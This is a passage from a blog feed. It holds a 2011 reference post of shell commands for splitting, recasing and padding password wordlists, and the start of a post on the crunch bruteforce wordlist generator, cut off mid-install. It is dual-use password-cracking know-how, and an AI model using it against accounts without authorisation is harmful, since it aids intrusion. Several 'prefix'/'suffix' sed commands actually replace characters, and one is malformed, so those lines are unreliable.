wordlist.&lt;br /&gt;&lt;br /&gt;For some reason I always manage to forget the best way to do the simplest of things using sed and the like, so this is as much a reference for me, as it is hopefully some help to those looking for quick answers !&lt;br /&gt;My intention is that queries on wordlist manipulation posted in the comments are looked at and tested&lt;br /&gt;and then, I will try to post the best solution in doing same.&lt;br /&gt;&lt;br /&gt;There will be quite a bit duplication from the previous post on wordlist manipulation, but no harm in that,&lt;br /&gt;I find myself returing to 'old' info all the time..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/div&gt;&lt;div style="color: yellow;"&gt;&lt;u&gt;&lt;b&gt;MANIPULATING WORDLISTS&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;br /&gt;When you have a wordlist, it often needs fine-tuning or alteration of some kind in order to get the&lt;br /&gt;most out of it, sometimes heavy-duty alteration, other times minor adjustments such as splitting the wordlist into manageable sizes or capitalizing the first letter for instance.&lt;br /&gt;&lt;br /&gt;The below examples are based on wordlists that have already been created and need some sort of tweaking or fine tuning.&lt;br /&gt;Of course you can create wordlists from scratch how you like with for instance crunch, however this post is meant solely for altereing existig wordlists/&lt;br /&gt;&lt;br /&gt;Note that the below examples all done on BackTrack5 and not tested on any other OS.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;u&gt;&lt;b&gt;SPLITTING WORDLISTS&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;br /&gt;One of the main issues with wordlists is that they can get hellish big.. and you&amp;nbsp;may need to split them for;&lt;br /&gt;&amp;gt; &amp;nbsp;for easy storage on portable drives,&lt;br /&gt;&amp;gt; some programs only accept a certain maximum wordlist size,&lt;br /&gt;&amp;gt; distributing segments&amp;nbsp;of&amp;nbsp;the wordlists to have tested by others,&lt;br /&gt;etc.&lt;br /&gt;etc.&lt;br /&gt;&lt;br /&gt;First thing to do is to check the size of the file and how many lines(passphrases) are in it so you can estimate&lt;br /&gt;how you can best split it.&lt;br /&gt;In this case using a 6 digit wordlist with lowecase alpha values only. &lt;br /&gt;Check the size of the wordlist ;&lt;br /&gt;For info on size in bytes ; &lt;br /&gt;&lt;div style="color: lime;"&gt;du -b wordlist1.txt&lt;/div&gt;or&lt;br /&gt;Simple view of size in 'human readable' format (eg. 100K, 100M, 100G); &lt;br /&gt;&lt;div style="color: lime;"&gt;du -h wordlist1.txt&lt;/div&gt;&lt;br /&gt;Get the linecount of the wordlist ;&lt;br /&gt;&lt;div style="color: lime;"&gt;wc -l wordlist1.txt&lt;/div&gt;&lt;br /&gt;So in the above example the size is around 112MB and there are 16777216&lt;br /&gt;lines (so 16777216 passphrases).&lt;br /&gt;When using split to split wordlists, it is best to use split by line  count, so that you don't accidentally split the actual words as can  happen when you split by size.&lt;br /&gt;&lt;br /&gt;Lets say we want to split that file into 3 wordlists, then the above file would need to be split into files containing +-5.500.000 words each.&lt;br /&gt;If you are too lazy to work the little grey cells, let 'bc' do the work for you so you can make an educated guess on how many lines you want to have per split wordlist ; &lt;br /&gt;&lt;div style="color: lime;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;echo "16777216 / 3" | bc&lt;/div&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;split -d -l 5600000 wordlist1.txt split-list&lt;/div&gt;-d == giving a numeric suffix to the created split-list prefixes&lt;br /&gt;-l == &amp;nbsp;giving the number of lines you want each file to have as a maximum&lt;br /&gt;wordlist1.txt is the input wordlist&lt;br /&gt;splitlist is the prefix for the newly created split files.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/split.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/split.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;u&gt;&lt;b&gt;JOINING/COMBINING WORDLISTS&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;br /&gt;To actually combine seperate wordlists to one list, you can use the 'cat' command as follows ;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;cat wordlist1.txt wordlist2.txt &amp;gt; combined-wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Depending on the size of your wordlists this can take a wee while..&lt;br /&gt;&lt;br /&gt;You can also combine all .txt files in a directory to one larger file ;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;cat *.txt &amp;gt; combinedlists.txt &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: yellow;"&gt;&lt;u&gt;&lt;b&gt;CHANGING THE 'CASE' OF LETTERS IN A WORDLIST&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;br /&gt;Changing characters in a wordlist at a given position to either lower case or upper case is a frequent necessity.&lt;br /&gt;Of course wordllists can easily be created with the required case in the required position (see my post on using the awesome crunch) however if you have an existing wordlist (which this post is all about) and need&lt;br /&gt;to adjust the cases as required, this is (one of the ways) how to go about it.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;/div&gt;&lt;span style="color: yellow;"&gt;CAPITALIZING FIRST AND/OR LAST LETTERS&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;u&gt;First letter;&lt;/u&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed 's/^./\u&amp;amp;/' wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;Last letter;&lt;/u&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed 's/.$/\u&amp;amp;/' wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CHANGING LETTERS TO LOWER / UPPER CASE&lt;br /&gt;&lt;br /&gt;Changing the first letters of all entries to upper case ;&amp;nbsp; &lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed 's/^./\u&amp;amp;/' wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Changing the last letter of all entries to upper case ;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed 's/.$/\u&amp;amp;/' wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Changing the first letter of all entries to lower case ;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed 's/^./\l&amp;amp;/' wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Changing the last letter of all entries to lower case ;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed 's/.$/\l&amp;amp;/' wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Changing all upper case to lower case letters;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;tr '[:upper:] ' '[:lower:]' &amp;lt; wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Changing all lower case to upper case letters;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;tr '[:lower:]' '[:upper:]' &amp;lt; wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Inverting the case in the words ;&lt;br /&gt;&lt;div style="color: lime;"&gt;tr 'a-z A-Z' 'A-Z a-z' &amp;lt; wordlist.txt&lt;/div&gt;or&lt;br /&gt;&lt;span style="color: lime;"&gt;sed 'y/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz/' wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;u&gt;&lt;b&gt;PREFIXING CHARACTER(S)/WORDS TO WORDLISTS&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;br /&gt;To prefix the word "test" to all lines in the wordlist ;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed 's/^./test/' wordlist.txt&lt;/span&gt;&lt;br /&gt;or&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;awk '{print "test" $0 }' wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;PREFIXING NUMERIC VALUES TO WORDLISTS&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;To prefix 1 digit in sequence from 0 - 9&amp;nbsp;;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;for i in $(cat wordlist.txt) ; do seq -f %01.0f$i 0 9 ; done &amp;gt; numbers_wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To prefix 2 digits in sequence from 00 - 99 ;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;for i in $(cat wordlist.txt) ; do seq -f %02.0f$i 0 99 ; done &amp;gt; numbers_wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To prefix upto 2 digits in sequence from 0 - 99 ;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;for i in $(cat wordlist.txt) ; do seq -f %01.0f$i 0 99 ; done &amp;gt; numbers_wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To prefix 3 digits in sequence from 000 - 999&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;for i in $(cat wordlist.txt) ; do seq -f %03.0f$i 0 999 ; done &amp;gt; numbers_wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To prefix upto 3 digits in sequence from 0 - 999 ;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;for i in $(cat wordlist.txt) ; do seq -f %01.0f$i 0 999 ; done &amp;gt; numbers_wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: yellow;"&gt;&lt;u&gt;&lt;b&gt;SUFFIXING CHARACTER(S)/WORDS TO WORDLISTS&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To suffix the word "test" to each line in the wordlist ;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed 's/.$/test/' wordlist.txt&lt;/span&gt;&lt;br /&gt;or&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;awk '{print $0 "test"}' wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;SUFFIXING NUMERIC VALUES TO WORDLISTS&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;To suffix 1 digit in sequence from 0 - 9&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;for i in $(cat wordlist.txt) ; do seq -f $i%01.0f 0 9 ; done &amp;gt; wordlist_numbers.txt&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;To suffix 2 digits in sequence from 00 - 99&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;for i in $(cat wordlist.txt) ; do seq -f $i%02.0f 0 99 ; done &amp;gt; wordlist_numbers.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To suffix upto 2 digits in sequence from 0 - 99 ;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;for i in $(cat wordlist.txt) ; do seq -f $i%01.0f &amp;nbsp;0 99 ; done &amp;gt; wordlist_numbers.txt&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;To suffix 3 digits in sequence from 000 - 999 ;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;for i in $(cat wordlist.txt) ; do seq -f $i%03.0f 0 999 ; done &amp;gt; wordlist_numbers.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;To suffix upto 3 digits in sequence from 0 - 999 ;&lt;/div&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;for i in $(cat wordlist.txt) ; do seq -f $i%01.0f &amp;nbsp;0 999 ; done &amp;gt; wordlist_numbers.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;&lt;u&gt;INCLUDE CHARACTERS AT SPECIFIC POSITION&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;To include the word "test" after the first 2 characters ;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed 's/^../&amp;amp;test/' wordlist.txt&lt;/span&gt;&lt;br /&gt;or&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed 's/^.\{2\}/&amp;amp;test/' wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To include the word "test" before the last 2 characters ;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed 's/..$/test&amp;amp;/' wordlist.txt&lt;/span&gt;&lt;br /&gt;or&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed 's/.\{2\}$/test&amp;amp;/' wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;u&gt;&lt;b&gt;REPLACE X NUMBER OF CHARACTERS FROM START OF WORDLIST&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;br /&gt;To replace the first character of each word with "test" ;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed 's/^./test/' wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To replace the first 2 characters of each word with "test" ;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed 's/^../test/' wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To replace the first 3 characters of each word with "test" ;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed 's/^.../test/' wordlist.txt&amp;nbsp;&lt;/span&gt;&lt;br /&gt;or&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed 's/^.\{3\}/test' wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;u&gt;&lt;b&gt;REPLACE/SUBSTITUTE X NUMBER OF CHARACTERS FROM END OF WORDLIST&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;br /&gt;To replace the last character of each word with "test" ;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed 's/.$/test/' wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To replace the last 2 characters of each word with "test" ;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed 's/..$/test/' wordlist.txt&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;To replace the last 3 characters of each word with "test" ;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed 's/...$/test/' wordlist.txt&lt;/span&gt;&lt;/div&gt;&lt;div&gt;or&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed 's/.\{3\}$/test/' wordlist.txt&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;u&gt;&lt;b&gt;REPLACE/SUBSTITUTE CHARACTER(S) AT A CERTAIN POSITION&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;br /&gt;To subsitute the third character of each word in the wordlist ; &lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed -r "s/^(.{2})(.{1})/\1test/" wordlist.txt&lt;/span&gt;&lt;br /&gt;or&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed 's/^\(.\{2\}\)\(.\{1\}\)/\1test/' wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To subsitute the third and fourth character of each word in the wordlist with "test" ; &lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed -r "s/^(.{2})(.{2})/\1test/" wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;To subsitute the fourth character of each word in the wordlist with "test" ;&lt;/div&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed -r "s/^(.{3})(.{1})/\1test/" wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;To subsitute the fourth and fifth character of each word in the wordlist with "test" ;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed -r "s/^(.{3})(.{2})/\1test/" wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;NOTE!&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;If the number of characters that are to be replaced are actually more than there&lt;/div&gt;&lt;div&gt;are characters in the word, the word will remain unaltered.&lt;/div&gt;&lt;div&gt;So if doing&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;sed -r "s/^(.{3})(.{2})/\1test/" wordlist.txt&lt;/span&gt;&lt;/div&gt;&lt;div&gt;4 character letters such as the word 'beta' would not be altered as there is no fifth character.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: yellow;"&gt;&lt;u&gt;&lt;b&gt;REVERSE THE DIRECTION OF THE WORDS IN WORDLIST&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;rev wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b style="color: yellow;"&gt;REMOVING WORDS WHICH DON'T HAVE 'X' NUMBER OF NUMERIC VALUES&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;To remove words from wordlist.txt that do not have 3 numeric values&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;nawk 'gsub("[0-9]","&amp;amp;",$0)==3' wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b style="color: yellow;"&gt;&lt;u&gt;REMOVING WORDS WHICH HAVE MORE THAN 2 IDENTICAL ADJACENT CHARACTERS&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;acronym title="Stream Editor"&gt;sed&lt;/acronym&gt; '/\([^A-Za-z0-9_]\|[A-Za-z0-9]\)\1\{2,\}/d' wordlist.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Some great bit of work from Gitsnik on manipulating wordlists to ignore words with&lt;br /&gt;&lt;div&gt;more than 2 adjacent identical characters ;&lt;br /&gt;&lt;a href="http://gitsnik.blogspot.com/2011/08/unique-characters-from-crunch-redux.html"&gt;http://gitsnik.blogspot.com/2011/08/unique-characters-from-crunch-redux.html&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: yellow;"&gt;&lt;u&gt;APPENDING WORDS FROM 1 WORDLIST TO ALL THE WORDS IN ANOTHER WORDLIST&lt;/u&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;See Wordlist Manipulator script at top of page&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;..&lt;br /&gt;..&lt;br /&gt;..&lt;br /&gt;Please leave your comments, suggestions, mocking words of wisdom..etc.. so that the post can benefit from&lt;br /&gt;the vast amount of knowledge out there.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-6608357094997566116?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/6608357094997566116/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2011/07/wordlist-manipulation-revisited.html#comment-form' title='16 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/6608357094997566116'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/6608357094997566116'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2011/07/wordlist-manipulation-revisited.html' title='Wordlist manipulation revisited'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/U-usCP0jYu4/default.jpg' height='72' width='72'/><thr:total>16</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-5327423255546207578</id><published>2011-05-22T20:33:00.019+02:00</published><updated>2012-01-29T15:19:51.565+01:00</updated><title type='text'>Creating wordlists with crunch v3.0</title><content type='html'>&lt;u&gt;&lt;b&gt;CRUNCH v3.0 &lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Warning... this is a looong post, grab a beverage.. ;) Also heavy on images.. &lt;/div&gt;&lt;br /&gt;&lt;u&gt;PRE-INTRO &lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Since the post on Creating wordlists with crunch v2.4 made in April last year, crunch has gone through&lt;br /&gt;quite a few changes and improvements and bofh28 has now released v3.0 ! (on 16-05-2011) &lt;br /&gt;To make sure that the information on this blog is staying upto date, its time for a new and improved post.&lt;br /&gt;There will be a lot of duplication from my previous post on crunch, but it should then at least&lt;br /&gt;be a more or less full and complete post.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;&lt;span style="color: red;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;I have tried to follow the alphabetical order of the options and have done a chapter per option/switch.&lt;br /&gt;&lt;i&gt; &lt;/i&gt;&lt;br /&gt;&lt;i&gt;Please leave comments should the post be lacking information on anything you feel should be included. &lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;INTRODUCTION&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;crunch is a tool for creating bruteforce wordlists which can be used to audit password strength.&lt;br /&gt;The size of these wordlists is not to be underestimated, however crunch can make use of patterns to reduce wordlist sizes, can compress output files in various formats and (since v2.6) now includes a message advising the size of the wordlist that will be created, giving you a 3 second window to stop the creation should the size be too large for your intended use.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;The full range of options is as follows ;&lt;/u&gt;&lt;br /&gt;&lt;b style="color: red;"&gt;-b&lt;/b&gt;&amp;nbsp; Maximum bytes to write per file, so using this option the wordlist to be created can be split into various&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sizes such as KB / MB / GB (must be used in combination with "-o START" switch) &lt;br /&gt;&lt;b style="color: red;"&gt;-c&lt;/b&gt;&amp;nbsp; Number of lines to write to output file, must be used together with "-o START" &lt;br /&gt;&lt;span style="color: red;"&gt;&lt;b&gt;-d&lt;/b&gt;&lt;/span&gt;&amp;nbsp; Limits the number of consecutive identical characters (&lt;i&gt;crunch v3.2&lt;/i&gt;)&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;-e&lt;/span&gt;&lt;/b&gt; Specifies when crunch should stop early (&lt;i&gt;crunch v3.1&lt;/i&gt;)&lt;br /&gt;&lt;b style="color: red;"&gt;-f&lt;/b&gt;&amp;nbsp; Path to the charset.lst file to use, standard location is '/pentest/passwords/crunch/charset.lst &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; to be used in conjunction with the name of the desired charset list, such as 'mixalpha-numeric-space' &lt;br /&gt;&lt;b style="color: red;"&gt;-i&lt;/b&gt;&amp;nbsp; Inverts the output sequence from left-to-right&amp;nbsp; to&amp;nbsp; right-to-left&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; (So instead of aaa, aab, aac, aad etc, output would be aaa baa caa daa)&lt;br /&gt;&lt;b style="color: red;"&gt;-l&lt;/b&gt;&amp;nbsp; When specifying custom patterns with the -t option, the -l switch allows you to identify which of the characters&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; should be taken as a literal character instead of a place holder ( &lt;span style="color: yellow;"&gt;@,%^&lt;/span&gt; )&lt;br /&gt;&lt;b&gt;&lt;span style="color: red;"&gt;-o&lt;/span&gt;&lt;/b&gt;&amp;nbsp; Allows you to specify the file name / location for the output, e.g. /media/flashdrive/wordlist.txt&lt;br /&gt;&lt;b style="color: red;"&gt;-p&lt;/b&gt;&amp;nbsp; Prints permutations of the words or characters provided in the command line. &lt;br /&gt;&lt;b style="color: red;"&gt;-q&lt;/b&gt;&amp;nbsp; Prints permutation of the words or characters found in a specified file&lt;br /&gt;&lt;b style="color: red;"&gt;-r&lt;/b&gt;&amp;nbsp; Resumes from a previous session, exact same syntax to be used followed by -r&lt;br /&gt;&lt;b style="color: red;"&gt;-s&lt;/b&gt;&amp;nbsp; Allows you to specify the starting string for your wordlist.&lt;br /&gt;&lt;b style="color: red;"&gt;-t&lt;/b&gt;&amp;nbsp; Allows you to specify a specific pattern to use. Probably one of the most important functions !&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; Place holders for fixed character sets are ;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;b&gt;&lt;span style="color: yellow;"&gt;@&lt;/span&gt;&lt;/b&gt;&amp;nbsp;&amp;nbsp; --&amp;nbsp; lower case alpha characters&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;b style="color: yellow;"&gt;,&amp;nbsp;&lt;/b&gt;&amp;nbsp;&amp;nbsp; --&amp;nbsp;&amp;nbsp; upper case alhpa characters&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;b style="color: yellow;"&gt;%&lt;/b&gt;&amp;nbsp;&amp;nbsp; --&amp;nbsp; numeric characters&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;b&gt;&lt;span style="color: yellow;"&gt;^&lt;/span&gt;&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; --&amp;nbsp; special characters (including space) &lt;br /&gt;&lt;b style="color: red;"&gt;-u&lt;/b&gt;&amp;nbsp; Supresses the output of wordlist size &amp;amp; linecount prior starting wordlist generation. &lt;br /&gt;&lt;b style="color: red;"&gt;-z&lt;/b&gt;&amp;nbsp; Adds support to compress the generation output, supports gzip, bzip &amp;amp; lzma&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;All the below is done on backtrack 5, &lt;i&gt;&lt;b&gt;only tested on the 32bit versions&lt;/b&gt;&lt;/i&gt;.&lt;br /&gt;crunch is not installed by default on BT5 and as yet (22-05-2011) not yet in the repo's.&lt;br /&gt;(When it does hit the repo's I will amend this post to reflect installing from repo's)&lt;br /&gt;&lt;br /&gt;so download from the source at ;&lt;br /&gt;&lt;a href="http://sourceforge.net/projects/crunch-wordlist/"&gt;http://sourceforge.net/projects/crunch-wordlist/&lt;/a&gt;&lt;br /&gt;&lt;u&gt;&lt;i style="color: red;"&gt;Edit; 29-01-2012&lt;/i&gt;&lt;/u&gt;&lt;br /&gt;and install as follows;&lt;br /&gt;&lt;div style="color: lime;"&gt;tar -xvf crunch-3.2.tgz&lt;/div&gt;&lt;div style="color: lime;"&gt;cd crunch3.2/&lt;/div&gt;&lt;div style="color: lime;"&gt;make &amp;amp;&amp;amp; make install&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;&lt;u&gt;Edit 12-06-2011&lt;/u&gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;crunch is now available in the BT repositories,&lt;br /&gt;so can download and install on backtrack5 simply by doing a ;&lt;br /&gt;&lt;div style="color: lime;"&gt;apt-get update&lt;br /&gt;apt-get install 